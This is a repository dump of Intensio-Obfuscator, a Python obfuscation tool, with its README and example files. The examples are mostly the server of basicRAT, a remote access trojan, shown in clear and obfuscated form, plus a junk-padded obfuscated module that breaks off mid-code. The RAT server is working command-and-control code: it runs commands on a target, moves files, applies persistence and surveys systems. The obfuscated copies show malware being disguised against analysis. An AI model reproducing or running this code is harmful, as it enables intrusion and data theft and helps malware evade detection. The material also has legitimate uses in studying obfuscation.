46 | scan - Scan top 25 ports on a single host.
47 | survey - Run a system survey.
48 | unzip - Unzip a file.
49 | upload - Upload files(s).
50 | wget - Download a file from the web.
51 | '''
52 |
53 | BANNER = '''
54 | ______ _ ______ ___ _____ _ _
55 | | ___ \ (_) | ___ \/ _ \_ _| | | | |
56 | | |_/ / __ _ ___ _ ___| |_/ / /_\ \| | | |_ ___ ___| |_
57 | | ___ \/ _` / __| |/ __| /| _ || | | __/ _ \/ __| __|
58 | | |_/ / (_| \__ \ | (__| |\ \| | | || | | || __/\__ \ |_
59 | \____/ \__,_|___/_|\___\_| \_\_| |_/\_/ \__\___||___/\__|
60 |
61 |
62 | '''
63 |
64 | COMMANDS = [
65 | 'download', 'help', 'persistence', 'quit', 'rekey',
66 | 'run', 'scan', 'survey', 'unzip', 'upload', 'wget'
67 | ]
68 |
69 | testStringVar1 = """a""" + "HELP_TEXT"
70 | testStringVar2 = '''HELP_TEXT''' + HELP_TEXT + '''COMMANDS'''
71 | testStringVar3 = "COMMANDS"
72 | testStringVar4 = 'HELP_TEXT' + 'COMMANDS' + "HELP_TEXT"
73 |
74 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
75 |
76 | def get_parser():
77 | parser = argparse.ArgumentParser(description='basicRAT server')
78 | parser.add_argument('-p', '--port', help='Port to listen on.',
79 | default=1337, type=int)
80 | return parser
81 |
82 | #---------------------------------------------------------- [Main] ----------------------------------------------------------#
83 |
84 | def EmptyFunc():
85 | """ comment """
86 |
87 | class EmptyClass:
88 | """ comment """
89 |
90 | def main():
91 | parser = get_parser() ## test
92 | args = vars(parser.parse_args()) # test # test
93 | port = args['port'] ## test # test
94 |
95 | print("# test") # test
96 |
97 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
98 |
99 | try:
100 | s.bind(('0.0.0.0', port))
101 | except socket.error:
102 | print 'Error: Unable to start server, port {} in use?'.format(port)
103 | sys.exit(1)
104 |
105 | for line in BANNER.split('\n'):
106 | time.sleep(0.05)
107 | print line
108 |
109 | print 'basicRAT server listening on port {}...'.format(port)
110 |
111 | s.listen(10)
112 | conn, addr = s.accept()
113 |
114 | DHKEY = diffiehellman(conn, server=True)
115 |
116 | while True:
117 | prompt = raw_input('\n[{}] basicRAT> '.format(addr[0])).rstrip()
118 |
119 | # allow noop
120 | if not prompt:
121 | continue
122 |
123 | # seperate prompt into command and action
124 | cmd, _, action = prompt.partition(' ')
125 |
126 | # ensure command is valid before sending
127 | if cmd not in COMMANDS:
128 | print 'Invalid command, type "help" to see a list of commands.'
129 | continue
130 |
131 | # display help text
132 | if cmd == 'help':
133 | print HELP_TEXT
134 | continue
135 |
136 | # send data to client
137 | conn.send(AES_encrypt(prompt, DHKEY))
138 |
139 | # stop server
140 | if cmd == 'quit':
141 | s.close()
142 | sys.exit(0)
143 |
144 | # results of command
145 | elif cmd == 'run':
146 | recv_data = conn.recv(4096)
147 | print AES_decrypt(recv_data, DHKEY).rstrip()
148 |
149 | # download a file
150 | elif cmd == 'download':
151 | for fname in action.split():
152 | fname = fname.strip()
153 | recvfile(conn, fname, DHKEY)
154 |
155 | # send file
156 | elif cmd == 'upload':
157 | for fname in action.split():
158 | fname = fname.strip()
159 | sendfile(conn, fname, DHKEY)
160 |
161 | # regenerate DH key
162 | elif cmd == 'rekey':
163 | DHKEY = diffiehellman(conn, server=True)
164 |
165 | # results of survey, persistence, unzip, or wget
166 | elif cmd in ['scan', 'survey', 'persistence', 'unzip', 'wget']:
167 | print 'Running {}...'.format(cmd)
168 | recv_data = conn.recv(1024)
169 | print AES_decrypt(recv_data, DHKEY)
170 |
171 | #----------------------------------------------------------------------------------------------------------------------------#
172 |
173 | #----------------------------------------------------------------------------------------------------------------------------#
174 |
175 | if __name__ == '__main__':
176 | main()
177 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/basicRAT_server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | '''
5 | ______ _ ______ ___ _____ _ _
6 | | ___ \ (_) | ___ \/ _ \_ _| | | | |
7 | | |_/ / __ _ ___ _ ___| |_/ / /_\ \| | | |_ ___ ___| |_
8 | | ___ \/ _` / __| |/ __| /| _ || | | __/ _ \/ __| __|
9 | | |_/ / (_| \__ \ | (__| |\ \| | | || | | || __/\__ \ |_
10 | \____/ \__,_|___/_|\___\_| \_\_| |_/\_/ \__\___||___/\__|
11 |
12 |
13 | '''
14 |
15 | """ Basic RAT """
16 | ''' test '''
17 | ## test # test
18 | # test # test
19 | ## test
20 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
21 |
22 | import argparse
23 | import readline
24 | import socket
25 | import struct
26 | import sys
27 | import time
28 |
29 | try:
30 | from core.crypto import AES_decrypt,AES_encrypt,diffiehellman
31 | from core.filesock import recvfile, sendfile
32 | except ImportError as e:
33 | print e
34 | sys.exit(0)
35 |
36 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
37 |
38 |
39 | HELP_TEXT = '''
40 | download - Download file(s).
41 | help - Show this help menu.
42 | persistence - Apply persistence mechanism.
43 | quit - Gracefully kill client and server.
44 | rekey - Regenerate crypto key.
45 | run - Execute a command on the target.
46 | scan - Scan top 25 ports on a single host.
47 | survey - Run a system survey.
48 | unzip - Unzip a file.
49 | upload - Upload files(s).
50 | wget - Download a file from the web.
51 | '''
52 |
53 | BANNER = '''
54 | ______ _ ______ ___ _____ _ _
55 | | ___ \ (_) | ___ \/ _ \_ _| | | | |
56 | | |_/ / __ _ ___ _ ___| |_/ / /_\ \| | | |_ ___ ___| |_
57 | | ___ \/ _` / __| |/ __| /| _ || | | __/ _ \/ __| __|
58 | | |_/ / (_| \__ \ | (__| |\ \| | | || | | || __/\__ \ |_
59 | \____/ \__,_|___/_|\___\_| \_\_| |_/\_/ \__\___||___/\__|
60 |
61 |
62 | '''
63 |
64 | COMMANDS = [
65 | 'download', 'help', 'persistence', 'quit', 'rekey',
66 | 'run', 'scan', 'survey', 'unzip', 'upload', 'wget'
67 | ]
68 |
69 | testStringVar1 = """a""" + "HELP_TEXT"
70 | testStringVar2 = '''HELP_TEXT''' + HELP_TEXT + '''COMMANDS'''
71 | testStringVar3 = "COMMANDS"
72 | testStringVar4 = 'HELP_TEXT' + 'COMMANDS' + "HELP_TEXT"
73 |
74 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
75 |
76 | def get_parser():
77 | parser = argparse.ArgumentParser(description='basicRAT server')
78 | parser.add_argument('-p', '--port', help='Port to listen on.',
79 | default=1337, type=int)
80 | return parser
81 |
82 | #---------------------------------------------------------- [Main] ----------------------------------------------------------#
83 |
84 | def EmptyFunc():
85 | """ comment """
86 |
87 | class EmptyClass:
88 | """ comment """
89 |
90 | def main():
91 | parser = get_parser() ## test
92 | args = vars(parser.parse_args()) # test # test
93 | port = args['port'] ## test # test
94 |
95 | print("# test") ## test # test
96 |
97 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
98 |
99 | try:
100 | s.bind(('0.0.0.0', port))
101 | except socket.error:
102 | print 'Error: Unable to start server, port {} in use?'.format(port)
103 | sys.exit(1)
104 |
105 | for line in BANNER.split('\n'):
106 | time.sleep(0.05)
107 | print line
108 |
109 | print 'basicRAT server listening on port {}...'.format(port)
110 |
111 | s.listen(10)
112 | conn, addr = s.accept()
113 |
114 | DHKEY = diffiehellman(conn, server=True)
115 |
116 | while True:
117 | prompt = raw_input('\n[{}] basicRAT> '.format(addr[0])).rstrip()
118 |
119 | # allow noop
120 | if not prompt:
121 | continue
122 |
123 | # seperate prompt into command and action
124 | cmd, _, action = prompt.partition(' ')
125 |
126 | # ensure command is valid before sending
127 | if cmd not in COMMANDS:
128 | print 'Invalid command, type "help" to see a list of commands.'
129 | continue
130 |
131 | # display help text
132 | if cmd == 'help':
133 | print HELP_TEXT
134 | continue
135 |
136 | # send data to client
137 | conn.send(AES_encrypt(prompt, DHKEY))
138 |
139 | # stop server
140 | if cmd == 'quit':
141 | s.close()
142 | sys.exit(0)
143 |
144 | # results of command
145 | elif cmd == 'run':
146 | recv_data = conn.recv(4096)
147 | print AES_decrypt(recv_data, DHKEY).rstrip()
148 |
149 | # download a file
150 | elif cmd == 'download':
151 | for fname in action.split():
152 | fname = fname.strip()
153 | recvfile(conn, fname, DHKEY)
154 |
155 | # send file
156 | elif cmd == 'upload':
157 | for fname in action.split():
158 | fname = fname.strip()
159 | sendfile(conn, fname, DHKEY)
160 |
161 | # regenerate DH key
162 | elif cmd == 'rekey':
163 | DHKEY = diffiehellman(conn, server=True)
164 |
165 | # results of survey, persistence, unzip, or wget
166 | elif cmd in ['scan', 'survey', 'persistence', 'unzip', 'wget']:
167 | print 'Running {}...'.format(cmd)
168 | recv_data = conn.recv(1024)
169 | print AES_decrypt(recv_data, DHKEY)
170 |
171 | #----------------------------------------------------------------------------------------------------------------------------#
172 |
173 | #----------------------------------------------------------------------------------------------------------------------------#
174 |
175 | if __name__ == '__main__':
176 | main()
177 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/basicRAT_server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | import argparse
4 | import readline
5 | import socket
6 | import struct
7 | import sys
8 | import time
9 | try:
10 | from core.crypto import fKVDYrzdKZVcijwKGIciPJNJhgUGEXQd,tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq,LECdLVZAGyQcqbGIHqDblBKNeiBWnwkS
11 | from core.filesock import rmKLLEJCqgoJgOaymQmnoOotvYFjGJwt, gKBMfnwhSSxqoYgKzwEAFFmdZUXetvKm
12 | except ImportError as ucOmuZOuIhcXiuGPmcTSVoQyNPAoiLVT:
13 | print ucOmuZOuIhcXiuGPmcTSVoQyNPAoiLVT
14 | sys.exit(0)
15 | fBFMXPkFhRsMwVfavLaeVLaBCtObvxYU = '''
16 | download - Download file(s).
17 | help - Show this help menu.
18 | persistence - Apply persistence mechanism.
19 | quit - Gracefully kill client and server.
20 | rekey - Regenerate crypto key.
21 | run - Execute a command on the target.
22 | scan - Scan top 25 ports on a single host.
23 | survey - Run a system survey.
24 | unzip - Unzip a file.
25 | upload - Upload files(s).
26 | wget - Download a file from the web.
27 | '''
28 | ZEqKjboNHAjmtamGPAqEnkElbMWQDQpw = '''
29 | ______ _ ______ ___ _____ _ _
30 | | ___ \ (_) | ___ \/ _ \_ _| | | | |
31 | | |_/ / __ _ ___ _ ___| |_/ / /_\ \| | | |_ ___ ___| |_
32 | | ___ \/ _` / __| |/ __| /| _ || | | __/ _ \/ __| __|
33 | | |_/ / (_| \__ \ | (__| |\ \| | | || | | || __/\__ \ |_
34 | \____/ \__,_|___/_|\___\_| \_\_| |_/\_/ \__\___||___/\__|
35 | '''
36 | azAiPOmkjPpjlcgiBZgfNcbVdKsvRQwA = [
37 | 'download', 'help', 'persistence', 'quit', 'rekey',
38 | 'run', 'scan', 'survey', 'unzip', 'upload', 'wget'
39 | ]
40 | YopGjcWpJhdcJWgVdSuxsgzfFubXFENz = """a""" + "HELP_TEXT"
41 | TSkKPgMdhkGmiHkMRGsgFOZMcoVSxjPr = '''HELP_TEXT''' + fBFMXPkFhRsMwVfavLaeVLaBCtObvxYU + '''COMMANDS'''
42 | xKaySiosLXritbbtrgdBDAfGCAUeCWox = "COMMANDS"
43 | HJIwTiRZLSIWRIhcMtcMKGHfdGXsynlt = 'HELP_TEXT' + 'COMMANDS' + "HELP_TEXT"
44 | def FtAfMfvHhXEzeGBuNfxzOXLChYTZYmSK():
45 | ZuDhBXqoxNFxpcvPPBFXJLQgrzTgRyiA = argparse.ArgumentParser(description='basicRAT server')
46 | ZuDhBXqoxNFxpcvPPBFXJLQgrzTgRyiA.add_argument('-p', '--port', help='Port to listen on.',
47 | default=1337, type=int)
48 | return ZuDhBXqoxNFxpcvPPBFXJLQgrzTgRyiA
49 | def ThNKxdOlSPpmNoThVeJUkJGaWBFnAcAK():
50 | wEwupTvXJKepdnRQPbvCYyVrNoUAaAiz = 'BrFjUydOqRRyvnwarPCWMOnoHUeNyVKW'
51 | class nXCJYajRoAbBHYGgcglWWwSnsarKbYAM:
52 | IIiKYFScCZtyLilCBOwKshDkWaKjpeeg = 'ALnbUJWwUqhQFvARoHLKQfaAbPiOJaKO'
53 | def AIFsrozZCqmWETKOCZVZEkGBgdjHQRWl():
54 | ZuDhBXqoxNFxpcvPPBFXJLQgrzTgRyiA = FtAfMfvHhXEzeGBuNfxzOXLChYTZYmSK()
55 | ABCMsASkfwifBxbIjglsjFueCMcwvfuy = vars(ZuDhBXqoxNFxpcvPPBFXJLQgrzTgRyiA.parse_args())
56 | HDdhZYtKlAiqjWOYyHirtafwsDJbivtV = ABCMsASkfwifBxbIjglsjFueCMcwvfuy['port']
57 | print("# test")
58 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
59 | try:
60 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.bind(('0.0.0.0', HDdhZYtKlAiqjWOYyHirtafwsDJbivtV))
61 | except socket.error:
62 | print 'Error: Unable to start server, port {} in use?'.format(HDdhZYtKlAiqjWOYyHirtafwsDJbivtV)
63 | sys.exit(1)
64 | for kmzYxotySyUziTnKRJDkyKUWsmAHXRQk in ZEqKjboNHAjmtamGPAqEnkElbMWQDQpw.split('\n'):
65 | time.sleep(0.05)
66 | print kmzYxotySyUziTnKRJDkyKUWsmAHXRQk
67 | print 'basicRAT server listening on port {}...'.format(HDdhZYtKlAiqjWOYyHirtafwsDJbivtV)
68 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.listen(10)
69 | vuarcqnkYalDxYFwjzKusJelsVjVsqkj, ZzTyXmSVrgssbIAMcaqPZdeZToIzAySy = hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.accept()
70 | HRVsYDaowExNJmhzSYkosedOJuOiUyNV = LECdLVZAGyQcqbGIHqDblBKNeiBWnwkS(vuarcqnkYalDxYFwjzKusJelsVjVsqkj, server=True)
71 | while True:
72 | YBUGiLSIPYoHpGTLOqUNlkKxDjaDcFyX = raw_input('\n[{}] basicRAT> '.format(ZzTyXmSVrgssbIAMcaqPZdeZToIzAySy[0])).rstrip()
73 | if not YBUGiLSIPYoHpGTLOqUNlkKxDjaDcFyX:
74 | continue
75 | uOGCjvxCoZgwanneHIIgovUCPFSerqXc, _, action = YBUGiLSIPYoHpGTLOqUNlkKxDjaDcFyX.partition(' ')
76 | if uOGCjvxCoZgwanneHIIgovUCPFSerqXc not in azAiPOmkjPpjlcgiBZgfNcbVdKsvRQwA:
77 | print 'Invalid command, type "help" to see a list of commands.'
78 | continue
79 | if uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'help':
80 | print fBFMXPkFhRsMwVfavLaeVLaBCtObvxYU
81 | continue
82 | vuarcqnkYalDxYFwjzKusJelsVjVsqkj.send(tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq(YBUGiLSIPYoHpGTLOqUNlkKxDjaDcFyX, HRVsYDaowExNJmhzSYkosedOJuOiUyNV))
83 | if uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'quit':
84 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.close()
85 | sys.exit(0)
86 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'run':
87 | DCfHzJXJudACTpKZoRrLaSbWKENESwsz = vuarcqnkYalDxYFwjzKusJelsVjVsqkj.recv(4096)
88 | print fKVDYrzdKZVcijwKGIciPJNJhgUGEXQd(DCfHzJXJudACTpKZoRrLaSbWKENESwsz, HRVsYDaowExNJmhzSYkosedOJuOiUyNV).rstrip()
89 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'download':
90 | for UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl in action.split():
91 | UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl = UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl.strip()
92 | rmKLLEJCqgoJgOaymQmnoOotvYFjGJwt(vuarcqnkYalDxYFwjzKusJelsVjVsqkj, UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl, HRVsYDaowExNJmhzSYkosedOJuOiUyNV)
93 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'upload':
94 | for UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl in action.split():
95 | UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl = UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl.strip()
96 | gKBMfnwhSSxqoYgKzwEAFFmdZUXetvKm(vuarcqnkYalDxYFwjzKusJelsVjVsqkj, UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl, HRVsYDaowExNJmhzSYkosedOJuOiUyNV)
97 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'rekey':
98 | HRVsYDaowExNJmhzSYkosedOJuOiUyNV = LECdLVZAGyQcqbGIHqDblBKNeiBWnwkS(vuarcqnkYalDxYFwjzKusJelsVjVsqkj, server=True)
99 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc in ['scan', 'survey', 'persistence', 'unzip', 'wget']:
100 | print 'Running {}...'.format(uOGCjvxCoZgwanneHIIgovUCPFSerqXc)
101 | DCfHzJXJudACTpKZoRrLaSbWKENESwsz = vuarcqnkYalDxYFwjzKusJelsVjVsqkj.recv(1024)
102 | print fKVDYrzdKZVcijwKGIciPJNJhgUGEXQd(DCfHzJXJudACTpKZoRrLaSbWKENESwsz, HRVsYDaowExNJmhzSYkosedOJuOiUyNV)
103 | if __name__ == '__main__':
104 | AIFsrozZCqmWETKOCZVZEkGBgdjHQRWl()
105 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Intensio-Obfuscator
2 |
3 | # Project not maintained anymore
4 | # Thanks to all contributors
5 |
6 | 
7 | [](https://pypi.python.org/pypi/intensio-obfuscator/)
8 | 
9 |
10 | ## What is this ?
11 | - Intensio-Obfsucator tool takes a python source code and transform it into an obfuscated python code
12 | - **Replace** all names of `variables/classes/functions/files-name` to random strings with length defined then all `chars` to their hexadecimal value
13 | - **Delete** all `comments`, all `spaces lines`
14 | - **Padding** random `snippets code/functions/classes` with an always differents values
15 |
16 | ## What purpose ?
17 | - Provides a high level obfuscation layer to prevent or delay the reading and understanding of your python program
18 |
19 | ## Level of obfuscation
20 | - Weak obfuscation if used alone, can be used with other types of obfuscation
21 |
22 | ## Requirements
23 | - Python >= 3.5
24 | - requirements.txt
25 |
26 | ## Files supported
27 | - Files written in python 2.x and 3.x
28 |
29 | ## Installation
30 | - From source
31 | ```sh
32 | $ git clone https://github.com/Hnfull/Intensio-Obfuscator.git
33 | $ python3 -m pip install -r Intensio-Obfuscator/requirements.txt
34 | $ cd Intensio-Obfuscator/src/intensio_obfuscator
35 | $ python3 intensio_obfuscator.py --help
36 | ```
37 | - From python package
38 | ```sh
39 | $ python3 -m pip install intensio-obfuscator
40 | $ intensio_obfuscator --help
41 | ```
42 |
43 | ## Features
44 | | Features | Descriptions | Purpose of obfuscation | Compatibility with all types of python codes/syntaxes |
45 | | ------ | ------ | ------ | ------ |
46 | | Delete comments | Delete all comments (this feature is executed by default) | Delete potential behavioral informations | high `python files 2 & 3`|
47 | | Delete line spaces | Delete all spaces line (this feature is executed by default) | Reduce the code visibility in clear | high `python files 2 & 3`|
48 | | Correction padding empty classes/functions | Add padding to empty classes and functions, if the class or function contains comments only, the default feature `Delete comments` can potentially let a class or function empty, this will avoid to generate an error (this feature is executed by default) | None, only to avoid to generate errors | high `python files 2 & 3`|
49 | | Replace string to string mixed | Replace all names of variables/classes/functions to random strings with length defined| Reduce the code visibility in clear - Delay the deduction of the behavior of variables/classes/functions | low - high (depends of number of names that must exclude or not) `python files 2 & 3`
50 | | Exclude words | file to exclude word (check documentation for the format) only for 'replace file name' obfuscation feature | Information not required | Information not required |
51 | | Padding script | Add padding of random scripts after each line| Reduce the code visibility in clear - add dead snippets code/classes/functions to blur and delay behavior analysis of program | high `python file 2 & 3`|
52 | | Replace files name | Replace all files name to random strings with length defined | Reduce the code visibility in clear - Reduce the deduction of functionnalities of files | low `python files 2 & 3`|
53 | | Exclude file names | file to exclude file names (check documentation for the format) only for 'replace file name' obfuscation feature | Information not required | Information not required |
54 | | Replace string to hex | Replace all chars to their hexadecimal value | Reduce the code visibility in clear / avoid to be detected by the \'grep\' commands per example| medium `python files 2 only` |
55 | | Correction delete pyc file | Delete all pyc file in output directory (this feature is executed by default) | Delete files already compiled without having been obfuscated before | high `python files 2 & 3`|
56 | | Mixer length lower | Define random strings length of `32` chars when `-rts, --replacetostr` or `-ps, --paddingscripts` or `-rfn, --replacefilesname` or `-rth, --replacetohex` parameters are specified | The longer the length is used, the more difficult the visibility of the code | Information not required |
57 | | Mixer length medium | Define random strings length of `64` chars when `-rts, --replacetostr` or `-ps, --paddingscripts` or `-rfn, --replacefilesname` or `-rth, --replacetohex` parameters are specified | The longer the length is used, the more difficult the visibility of the code | Information not required |
58 | | Mixer length high | Define random strings length of `128` chars when `-rts, --replacetostr` or `-ps, --paddingscripts` or `-rfn, --replacefilesname` or `-rth, --replacetohex` parameters are specified | The longer the length is used, the more difficult the visibility of the code | Information not required |
59 | - Features can be executed separatly:
60 | - `replace string to string mixed` -> `-rts, --replacetostr`
61 | - `padding script` -> `-ps, --paddingscript`
62 | - `replace file name` -> `-rfn, --replacefilename`
63 | - `replace string to hex` -> `-rth, --replacetohex`
64 |
65 | ## Usages
66 | - **Read these Documentations before to use Intensio-Obfuscator tool !**
67 | - **Certain types of pattern are not supported**
68 | - [Steps of usage](docs/steps_usage/python_steps_usage.md)
69 | - [Required code format](docs/recommendations/python_code_recommendations.md)
70 | - [Malfunctions](docs/malfunctions/python_code_malfunctions.md)
71 |
72 | | Parameters | Descriptions |
73 | | ------ | ------ |
74 | | -h, --help | show this help message and exit |
75 | | -i, --input | source directory - indicate a directory that contain your file |
76 | | -o, --output | output directory that will be obfuscated - indicate a empty directory that will contain your file |
77 | | -mlen, --mixerlength | define length of random strings generated [`lower:32`\|`medium:64`\|`high:128`] chars when `--replacetostr` or `--paddingscripts` or `-rfn, --replacefilesname` or `--replacetohex` features are specified, possible values: [`lower`\|`medium`\|`high`]|
78 | |-ind, --indent | indicate the indentation of your python source code, possible values: [`2`\|`4`\|`8`]
79 | | -rts, --replacetostr | enable `replace string to string mixed` obfuscation feature |
80 | | --excludewords | file to exclude specific words (check documentation for the format) only for `-rts, --replacetostr` obfuscation feature |
81 | | -ps, --paddingscript | enable `padding script` obfuscation feature|
82 | | -rfn, --replacefilename | enable `replace file name` obfuscation feature |
83 | | --excludefiles | file to exclude file name (check documentation for the format) only for `-rfn, --replacefilename` obfuscation feature |
84 | | -rth, --replacetohex | enable `replace string to hex` obfuscation `(python files 2 only)`|
85 | | --version | check current version|
86 | | -v, --verbose | improve verbosity |
87 |
88 | ## Obfuscation examples
89 | - [Python files obfuscated](docs/examples/python_code_examples.md)
90 |
91 | ## Todo
92 | - Version 1.x.x-x:
93 | - Code optimization
94 | - Fix issues
95 | - Improved features already present
96 | - Add other functionalities
97 |
98 | ## License
99 | - MIT
100 |
101 | ## Contact
102 | - Hnfull **gitland@protonmail.com**
103 |
104 | ## Disclamer
105 | - Intensio-Obfuscator is for education/research purposes only. The author takes NO responsibility ay for how you choose to use any of the tools provided
106 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/output/basicRAT-example/core/kIuOkiFSOLxgdKOJLMYXztjXcYjNwvMHGYkIayImHgdybLQTcxzURqMbgoYTlVKp.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | JyRaDocyFXjQFQLLKYLSMigKibkhCBNHTfEfyKapLoOoZcvqRMkHDheKPCWTvITe = 'UKDBHpgNACQtgiBNjdWsgQkfkdvaJzElBNAcALOmQFtTMAwAMbbwALYEPHwehWer'
3 | NhudPYZQuwXOWOoGAqmgVGfgoABilmPJmsvyXBaqXdBfcQyPnwqXKfPfpWPZFDFI = 'qgrnjzykgqVmMJeOhDHNRwiyyLKsrzowPfDHvhszcGpiKGTTGJARDfzeaLdaiocv'
4 | if JyRaDocyFXjQFQLLKYLSMigKibkhCBNHTfEfyKapLoOoZcvqRMkHDheKPCWTvITe != NhudPYZQuwXOWOoGAqmgVGfgoABilmPJmsvyXBaqXdBfcQyPnwqXKfPfpWPZFDFI:
5 | JyRaDocyFXjQFQLLKYLSMigKibkhCBNHTfEfyKapLoOoZcvqRMkHDheKPCWTvITe = 'qgrnjzykgqVmMJeOhDHNRwiyyLKsrzowPfDHvhszcGpiKGTTGJARDfzeaLdaiocv'
6 | NhudPYZQuwXOWOoGAqmgVGfgoABilmPJmsvyXBaqXdBfcQyPnwqXKfPfpWPZFDFI = JyRaDocyFXjQFQLLKYLSMigKibkhCBNHTfEfyKapLoOoZcvqRMkHDheKPCWTvITe
7 | JyRaDocyFXjQFQLLKYLSMigKibkhCBNHTfEfyKapLoOoZcvqRMkHDheKPCWTvITe = 'UKDBHpgNACQtgiBNjdWsgQkfkdvaJzElBNAcALOmQFtTMAwAMbbwALYEPHwehWer'
8 | def dqbQQGQYlyLkpHbYFunsPyAdpOKuiRuOJrhNsJVzyIOjstEaqTBJTXmSYVRBZTbq(bytes):
9 | LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW = 0
10 | IXJUGIuQzUjUGWsqGMPNRKttHIPwsqORGaXWEdlvEolEBkgsCZTAilDAQPhbkOVN = 'GWgTOjjFjQiDQafMqNKbdfRQlROZLGlgtSslHocqIKiXoqbxxGhNSebXpXIkXIwE'
11 | while bytes:
12 | hPmSpZIdbvvIbnSJwRYfEvpBifyxrvPlTqDrTmWnsfKlqdjcsQaIwhSvHKytKjHw = 'akqsaSGnvFYgmWeffHPpPpyXJyNinfWXNBnleLBhLVGVlSvSQDVlDukraFYPmXSM'
13 | okepudvzHoHBgIzkHiAuFXPPSzJTFLXWIFoPoIJfirwZplLfsRzbyXTAMwEYXZXd = 'anhmxVuGJwlTWlmzJrzVmSmWABynWYDBvyYxdifUpocnALTeMyfuPTSkznRCOWdk'
14 | GYcqeuDZbgLycjKVJikmMeHPzgqSXYjtGyxcEwfUrXDwGIcGZBHSqgdzvaWWuGBe = 'xnZYBdqoxRdWuVcaKppnGjDgwoizxJkcQEnqdWWtrHxSyEOYisTrWfBHLczEhzzj'
15 | ZMemTitMAQFDPknpxIxAMloYfzDbSUWbRtBYIYpCXvFzdrifDMgQGOSLnDWdugPm = 'UOOKfzCnZCoHPpiWlhuhjjkpIYQcmFBFlTbNiRANnHfyzelbfUIqfXDvdkAjgQJM'
16 | OPFgNKyvdPSOKTvUxHenUBGKpiqvqUuXIwIvUHeCqiseWPLdSisZCvoEYXtmCVfS = 'mTWEBlGDVzPgFDCoCQQoyQFpGrJoLgiCynjUAwqCZXNRRlZQmAjuHHwHvbcUPzLG'
17 | daYWuOqQBZdkxakqmJFQndxxbDevOnztEfPTclFbYGIhqYoDMyZlGRbNhFZauzKf = 'LQjLuBcmDictgOJlvPxhpwYswiQIZjIGIAkwRzZavHVcecLKnplEKSpexmIXwSZK'
18 | cTvyAgbUgvEtxAhDbzoLCogFFCTRVYGFeBYgTKurvyKXqZbeeJwAisNgzSNTAhUO = [
19 | 'akqsaSGnvFYgmWeffHPpPpyXJyNinfWXNBnleLBhLVGVlSvSQDVlDukraFYPmXSM',
20 | 'xnZYBdqoxRdWuVcaKppnGjDgwoizxJkcQEnqdWWtrHxSyEOYisTrWfBHLczEhzzj',
21 | 'mTWEBlGDVzPgFDCoCQQoyQFpGrJoLgiCynjUAwqCZXNRRlZQmAjuHHwHvbcUPzLG',
22 | 'uqRsOxmRzqLkytLsEGvUtviLnglmKrpfOIAkPvyXMKhoXeysCPMuiSCaCDTKeiOl'
23 | ]
24 | for hPmSpZIdbvvIbnSJwRYfEvpBifyxrvPlTqDrTmWnsfKlqdjcsQaIwhSvHKytKjHw in daYWuOqQBZdkxakqmJFQndxxbDevOnztEfPTclFbYGIhqYoDMyZlGRbNhFZauzKf:
25 | for okepudvzHoHBgIzkHiAuFXPPSzJTFLXWIFoPoIJfirwZplLfsRzbyXTAMwEYXZXd in GYcqeuDZbgLycjKVJikmMeHPzgqSXYjtGyxcEwfUrXDwGIcGZBHSqgdzvaWWuGBe:
26 | if ZMemTitMAQFDPknpxIxAMloYfzDbSUWbRtBYIYpCXvFzdrifDMgQGOSLnDWdugPm == OPFgNKyvdPSOKTvUxHenUBGKpiqvqUuXIwIvUHeCqiseWPLdSisZCvoEYXtmCVfS:
27 | okepudvzHoHBgIzkHiAuFXPPSzJTFLXWIFoPoIJfirwZplLfsRzbyXTAMwEYXZXd = hPmSpZIdbvvIbnSJwRYfEvpBifyxrvPlTqDrTmWnsfKlqdjcsQaIwhSvHKytKjHw
28 | elif OPFgNKyvdPSOKTvUxHenUBGKpiqvqUuXIwIvUHeCqiseWPLdSisZCvoEYXtmCVfS == okepudvzHoHBgIzkHiAuFXPPSzJTFLXWIFoPoIJfirwZplLfsRzbyXTAMwEYXZXd:
29 | okepudvzHoHBgIzkHiAuFXPPSzJTFLXWIFoPoIJfirwZplLfsRzbyXTAMwEYXZXd = daYWuOqQBZdkxakqmJFQndxxbDevOnztEfPTclFbYGIhqYoDMyZlGRbNhFZauzKf
30 | else:
